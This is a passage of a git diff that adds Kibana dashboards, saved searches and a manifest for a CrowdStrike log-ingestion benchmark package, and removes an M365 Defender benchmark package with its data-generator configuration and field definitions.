"5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "w": 20, + "x": 28, + "y": 21 + }, + "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "title": "[Crowdstrike] Newest Falcon Incidents", + "type": "search" + } + ], + "timeRestore": false, + "title": "[Crowdstrike] Overview", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T12:27:18.648Z", + "id": "crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750", + "managed": false, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:a973e58c-53cc-411f-87e5-3cbbd3f0dcf8", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "82bafaa2-170e-4d47-a01b-84c7af225795:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "82bafaa2-170e-4d47-a01b-84c7af225795:1261050c-1c7b-426f-968d-78596586554e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:24d5c96e-43cb-4b7f-bc94-8d85933c1ad6", + "type": "index-pattern" + }, + { + "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750", + "name": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981:panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981", + "type": "search" + }, + { + "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750", + "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "type": "search" + }, + { + "id": "logs-*", + "name": "controlGroup_1424080f-b8da-4816-94dd-904bde41c6de:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_234700e7-0f96-4054-9073-64b3e2d61fa2:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json new file mode 100644 index 0000000000..e28e095fce --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json @@ -0,0 +1,50 @@ +{ + "attributes": { + "columns": [ + "vulnerability.id", + "vulnerability.score.base", + "crowdstrike.vulnerability.cve.impact_score", + "crowdstrike.vulnerability.cve.exploitability_score", + "crowdstrike.vulnerability.suppression_info.is_suppressed", + "crowdstrike.vulnerability.cve.exprt_rating", + "message" + ], + "description": "", + "grid": { + "columns": {} + }, + "hideChart": false, + "isTextBasedQuery": false, + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [], + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", + "query": { + "language": "kuery", + "query": "" + } + } + }, + "sort": [ + [ + "@timestamp", + "desc" + ] + ], + "timeRestore": false, + "title": "Vulnerability Essential Details [Logs Crowdstrike]" + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-08T11:24:15.268Z", + "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c", + "managed": true, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.index", + "type": "index-pattern" + } + ], + "type": "search", + "typeMigrationVersion": "10.5.0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json new file mode 100644 index 0000000000..bdafff838c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json @@ -0,0 +1,194 @@ +{ + "attributes": { + "columns": [ + "event.action", + "observer.address", + "host.hostname" + ], + "description": "", + "grid": { + "columns": { + "event.action": { + "width": 210 + }, + "observer.address": { + "width": 197 + } + } + }, + "hideChart": false, + "isTextBasedQuery": false, + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.fdr" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.fdr" + } + } + }, + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "event.action", + "index": "logs-*", + "key": "event.action", + "negate": false, + "type": "exists", + "value": "exists" + }, + "query": { + "exists": { + "field": "event.action" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "event.kind", + "index": "logs-*", + "key": "event.kind", + "negate": false, + "params": { + "query": "alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "event.kind": "alert" + } + } + } + ], + "relation": "AND", + "type": "combined" + }, + "query": {} + }, + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "host.hostname", + "index": "logs-*", + "key": "host.hostname", + "negate": false, + "type": "exists", + "value": "exists" + }, + "query": { + "exists": { + "field": "host.hostname" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "observer.address", + "index": "logs-*", + "key": "observer.address", + "negate": false, + "type": "exists", + "value": "exists" + }, + "query": { + "exists": { + "field": "observer.address" + } + } + } + ], + "relation": "OR", + "type": "combined" + }, + "query": {} + } + ], + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", + "query": { + "language": "kuery", + "query": "data_stream.dataset :\"crowdstrike.fdr\" " + } + } + }, + "sort": [ + [ + "@timestamp", + "desc" + ] + ], + "timeRestore": false, + "title": "[Crowdstrike] Newest FDR Alerts", + "usesAdHocDataView": false + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T10:24:07.905Z", + "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750", + "managed": true, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index", + "type": "index-pattern" + } + ], + "type": "search", + "typeMigrationVersion": "10.5.0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json new file mode 100644 index 0000000000..890773caa9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json @@ -0,0 +1,99 @@ +{ + "attributes": { + "columns": [ + "crowdstrike.event.Category", + "event.action", + "message" + ], + "description": "", + "grid": {}, + "hideChart": false, + "isTextBasedQuery": false, + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.falcon" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + } + }, + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", + "key": "crowdstrike.event.Category", + "negate": false, + "params": { + "query": "Incidents" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "crowdstrike.event.Category": "Incidents" + } + } + } + ], + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", + "query": { + "language": "kuery", + "query": "data_stream.dataset : \"crowdstrike.falcon\"" + } + } + }, + "sort": [ + [ + "@timestamp", + "desc" + ] + ], + "timeRestore": false, + "title": "[Crowdstrike] Newest Falcon Incidents", + "usesAdHocDataView": false + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T10:24:07.905Z", + "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750", + "managed": true, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", + "type": "index-pattern" + } + ], + "type": "search", + "typeMigrationVersion": "10.5.0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml new file mode 100644 index 0000000000..47f20a8f55 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml @@ -0,0 +1,4 @@ +- text: Security Solution + asset_types: + - dashboard + - search diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml new file mode 100644 index 0000000000..28f0be4d22 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml @@ -0,0 +1,105 @@ +name: crowdstrike +title: CrowdStrike +version: "3.12.0" +description: Collect logs from Crowdstrike with Elastic Agent. +type: integration +format_version: "3.4.0" +categories: [security, edr_xdr] +conditions: + kibana: + version: "^8.18.0 || ^9.0.0" +policy_templates: + - name: crowdstrike + title: CrowdStrike + description: Collect events and data from CrowdStrike Falcon + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations + inputs: + - type: logfile + title: Collect Falcon events and FDR logs through file system + description: Collect Falcon events from the SIEM Connector and Falcon Data Replicator (FDR) logs through the file system. + - type: cel + title: Collect data using the CrowdStrike REST API + description: Collect CrowdStrike Falcon data (alerts, hosts, vulnerabilities) using the REST API. + vars: + - name: client_id + type: text + title: Client ID + description: Client ID for the CrowdStrike API. + multi: false + required: true + show_user: true + - name: client_secret + type: password + title: Client Secret + description: Client Secret for the CrowdStrike API. + multi: false + required: true + show_user: true + secret: true + - name: url + type: text + title: URL + description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com + default: https://api.crowdstrike.com + required: true + show_user: true + - name: token_url + type: text + title: Token URL + description: CrowdStrike API token URL. + default: https://api.crowdstrike.com/oauth2/token + required: true + show_user: false + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: false + description: URL to proxy connections in the form of http[s]://:@:. Ensure your username and password are in URL encoded format. + - name: proxy_headers + type: yaml + title: Proxy headers + multi: false + required: false + show_user: false + description: This specifies the headers to be sent to the proxy server. + - name: ssl + type: yaml + title: SSL Configuration + description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. + multi: false + required: false + show_user: false + default: | + #certificate_authorities: + # - | + # -----BEGIN CERTIFICATE----- + # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF + # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 + # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB + # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n + # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl + # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t + # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP + # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 + # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O + # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux + # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D + # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw + # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA + # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu + # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 + # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk + # sxSmbIUfc2SGJGCJD4I= + # -----END CERTIFICATE----- +owner: + github: elastic/security-service-integrations + type: elastic diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml new file mode 100644 index 0000000000..ab145056ed --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml @@ -0,0 +1,7 @@ +errors: + exclude_checks: + - SVR00001 # Saved query, but no filter. + - SVR00002 + - SVR00004 # Saved search not allowed? + - SVR00005 # Kibana version for saved tags. + - JSE00001 # Array lists not recognised. From b2f9968e1705d413744da166a5a9364e2fd756c7 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Wed, 25 Mar 2026 19:10:54 +0530 Subject: [PATCH 14/19] Remove m365_defender package --- .../_dev/benchmark/system/alert-benchmark.yml | 30 - .../system/alert-benchmark/config.yml | 136 - .../system/alert-benchmark/fields.yml | 128 - .../system/alert-benchmark/template.ndjson | 59 - .../deploy/docker/alert-http-mock-config.yml | 61 - .../system/deploy/docker/docker-compose.yml | 16 - .../_dev/benchmark/system/deploy/tf/env.yml | 5 - .../system/deploy/tf/files/sample.log | 20 - .../_dev/benchmark/system/deploy/tf/main.tf | 5 - .../benchmark/system/deploy/tf/variables.tf | 26 - .../_dev/benchmark/system/tf-benchmark.yml | 20 - .../benchmark/system/tf-benchmark/config.yml | 39 - .../benchmark/system/tf-benchmark/fields.yml | 18 - .../system/tf-benchmark/template.log | 1 - .../_dev/build/build.yml | 3 - .../_dev/build/docs/README.md | 6 - .../changelog.yml | 643 ---- .../alert/agent/stream/httpjson.yml.hbs | 76 - .../elasticsearch/ingest_pipeline/default.yml | 2860 ----------------- .../data_stream/alert/fields/base-fields.yml | 20 - .../data_stream/alert/fields/beats.yml | 6 - .../data_stream/alert/fields/fields.yml | 506 --- .../data_stream/alert/manifest.yml | 89 - .../data_stream/alert/sample_event.json | 193 -- .../logfile/agent/stream/filestream.yml.hbs | 4 - .../elasticsearch/ingest_pipeline/default.yml | 21 - .../logfile/fields/base-fields.yml | 29 - .../data_stream/logfile/fields/fields.yml | 6 - .../data_stream/logfile/manifest.yml | 31 - .../docs/README.md | 6 - .../manifest.yml | 234 -- 31 files changed, 5297 deletions(-) delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml deleted file mode 100644 index b9bd2a5ab3..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml +++ /dev/null @@ -1,30 +0,0 @@ ---- -description: Benchmark 100000 alert events ingested -input: httpjson -deployer: docker -vars: - login_url: http://svc-m365-defender-alert-http:8082 - client_id: xxxx - client_secret: xxxx - tenant_id: tenant_id -data_stream: - name: alert - vars: - request_url: http://svc-m365-defender-alert-http:8082 - preserve_original_event: true - preserve_duplicate_custom_fields: true - include_unknown_enum_members: true -warmup_time_period: 2s -benchmark_time_period: 1m -corpora: - input_service: - name: m365-defender-alert-http - generator: - total_events: 100000 - template: - path: ./alert-benchmark/template.ndjson - type: gotext - config: - path: ./alert-benchmark/config.yml - fields: - path: ./alert-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml deleted file mode 100644 index 1a8f9d906b..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml +++ /dev/null @@ -1,136 +0,0 @@ -- name: id - cardinality: 100000 -- name: providerAlertId - cardinality: 100000 -- name: incidentId - cardinality: 100000 -- name: status - enum: - - active - - new - - resolved -- name: severity - enum: - - low - - high - - medium - - critical - - informational -- name: classification - cardinality: 100000 -- name: determination - cardinality: 100000 -- name: serviceSource - cardinality: 100000 -- name: detectionSource - cardinality: 100000 -- name: productName - cardinality: 100000 -- name: detectorId - cardinality: 100000 -- name: tenantId - cardinality: 100000 -- name: title - cardinality: 100000 -- name: description - cardinality: 100000 -- name: recommendedActions - cardinality: 100000 -- name: category - cardinality: 100000 -- name: assignedTo - cardinality: 100000 -- name: alertWebUrl - cardinality: 100000 -- name: incidentWebUrl - cardinality: 100000 -- name: actorDisplayName - cardinality: 100000 -- name: threatDisplayName - cardinality: 100000 -- name: threatFamilyName - cardinality: 100000 -- name: mitreTechniques - cardinality: 100000 -- name: createdDateTime - period: -24h -- name: lastUpdateDateTime - period: -24h -- name: resolvedDateTime - period: -24h -- name: firstActivityDateTime - period: -24h -- name: lastActivityDateTime - period: -24h -- name: alertPolicyId - cardinality: 100000 -- name: additionalData - cardinality: 100000 -- name: comments - cardinality: 100000 -- name: evidence.internetMessageId - cardinality: 100000 -- name: evidence.networkMessageId - cardinality: 100000 -- name: evidence.senderIp - cardinality: 100000 -- name: evidence.@odata.type - cardinality: 100000 -- name: evidence.createdDateTime - period: -24h -- name: evidence.verdict - cardinality: 100000 -- name: evidence.remediationStatus - cardinality: 100000 -- name: evidence.remediationStatusDetails - cardinality: 100000 -- name: evidence.roles - cardinality: 100000 -- name: evidence.detailedRoles - cardinality: 100000 -- name: evidence.tags - cardinality: 100000 -- name: evidence.firstSeenDateTime - period: -24h -- name: evidence.mdeDeviceId - cardinality: 100000 -- name: evidence.azureAdDeviceId - cardinality: 100000 -- name: evidence.deviceDnsName - cardinality: 100000 -- name: evidence.osPlatform - cardinality: 100000 -- name: evidence.osBuild - cardinality: 100000 - range: - min: 10 - max: 10000 -- name: evidence.version - cardinality: 100000 -- name: evidence.healthStatus - cardinality: 100000 -- name: evidence.riskScore - cardinality: 100000 -- name: evidence.rbacGroupId - cardinality: 100000 - range: - min: 10 - max: 10000 -- name: evidence.rbacGroupName - cardinality: 100000 -- name: evidence.onboardingStatus - cardinality: 100000 -- name: evidence.defenderAvStatus - cardinality: 100000 -- name: evidence.ipInterfaces - cardinality: 100000 -- name: evidence.vmMetadata - cardinality: 100000 -- name: evidence.loggedOnUsers.accountName - cardinality: 100000 -- name: evidence.loggedOnUsers.domainName - cardinality: 100000 -- name: '@odata.context' - cardinality: 100000 -- name: value - cardinality: 100000 diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml deleted file mode 100644 index f8179a5bd8..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml +++ /dev/null @@ -1,128 +0,0 @@ -- name: id - type: keyword -- name: providerAlertId - type: keyword -- name: incidentId - type: keyword -- name: status - type: keyword -- name: severity - type: keyword -- name: classification - type: keyword -- name: determination - type: keyword -- name: serviceSource - type: keyword -- name: detectionSource - type: keyword -- name: productName - type: keyword -- name: detectorId - type: keyword -- name: tenantId - type: keyword -- name: title - type: keyword -- name: description - type: keyword -- name: recommendedActions - type: keyword -- name: category - type: keyword -- name: assignedTo - type: keyword -- name: alertWebUrl - type: keyword -- name: incidentWebUrl - type: keyword -- name: actorDisplayName - type: keyword -- name: threatDisplayName - type: keyword -- name: threatFamilyName - type: keyword -- name: mitreTechniques - type: keyword -- name: createdDateTime - type: date -- name: lastUpdateDateTime - type: date -- name: resolvedDateTime - type: date -- name: firstActivityDateTime - type: date -- name: lastActivityDateTime - type: date -- name: alertPolicyId - type: keyword -- name: additionalData - type: keyword -- name: comments - type: keyword -- name: evidence - type: group - fields: - - name: internetMessageId - type: keyword - - name: networkMessageId - type: keyword - - name: senderIp - type: keyword - - name: '@odata.type' - type: keyword - - name: createdDateTime - type: date - - name: verdict - type: keyword - - name: remediationStatus - type: keyword - - name: remediationStatusDetails - type: keyword - - name: roles - type: keyword - - name: detailedRoles - type: keyword - - name: tags - type: keyword - - name: firstSeenDateTime - type: date - - name: mdeDeviceId - type: keyword - - name: azureAdDeviceId - type: keyword - - name: deviceDnsName - type: keyword - - name: osPlatform - type: keyword - - name: osBuild - type: long - - name: version - type: keyword - - name: healthStatus - type: keyword - - name: riskScore - type: keyword - - name: rbacGroupId - type: long - - name: rbacGroupName - type: keyword - - name: onboardingStatus - type: keyword - - name: defenderAvStatus - type: keyword - - name: ipInterfaces - type: keyword - - name: vmMetadata - type: keyword - - name: loggedOnUsers - type: group - fields: - - name: accountName - type: keyword - - name: domainName - type: keyword -- name: '@odata.context' - type: keyword -- name: value - type: keyword diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson deleted file mode 100644 index fee57311fe..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson +++ /dev/null @@ -1,59 +0,0 @@ -{{- $id := generate "id" -}} -{{- $providerAlertId := generate "providerAlertId" -}} -{{- $incidentId := generate "incidentId" -}} -{{- $status := generate "status" -}} -{{- $severity := generate "severity" -}} -{{- $classification := generate "classification" -}} -{{- $determination := generate "determination" -}} -{{- $serviceSource := generate "serviceSource" -}} -{{- $detectionSource := generate "detectionSource" -}} -{{- $productName := generate "productName" -}} -{{- $detectorId := generate "detectorId" -}} -{{- $tenantId := generate "tenantId" -}} -{{- $title := generate "title" -}} -{{- $description := generate "description" -}} -{{- $recommendedActions := generate "recommendedActions" -}} -{{- $category := generate "category" -}} -{{- $assignedTo := generate "assignedTo" -}} -{{- $alertWebUrl := generate "alertWebUrl" -}} -{{- $incidentWebUrl := generate "incidentWebUrl" -}} -{{- $actorDisplayName := generate "actorDisplayName" -}} -{{- $threatDisplayName := generate "threatDisplayName" -}} -{{- $threatFamilyName := generate "threatFamilyName" -}} -{{- $mitreTechniques := generate "mitreTechniques" -}} -{{- $createdDateTime := generate "createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}} -{{- $lastUpdateDateTime := generate "lastUpdateDateTime" | date "2006-01-02T15:04:05.000000Z" -}} -{{- $resolvedDateTime := generate "resolvedDateTime" | date "2006-01-02T15:04:05.000000Z" -}} -{{- $firstActivityDateTime := generate "firstActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}} -{{- $lastActivityDateTime := generate "lastActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}} -{{- $alertPolicyId := generate "alertPolicyId" -}} -{{- $additionalData := generate "additionalData" -}} -{{- $comments := generate "comments" -}} -{{- $evidenceInternetmessageid := generate "evidence.internetMessageId" -}} -{{- $evidenceNetworkmessageid := generate "evidence.networkMessageId" -}} -{{- $evidenceSenderip := generate "evidence.senderIp" -}} -{{- $evidenceCreateddatetime := generate "evidence.createdDateTime" | date 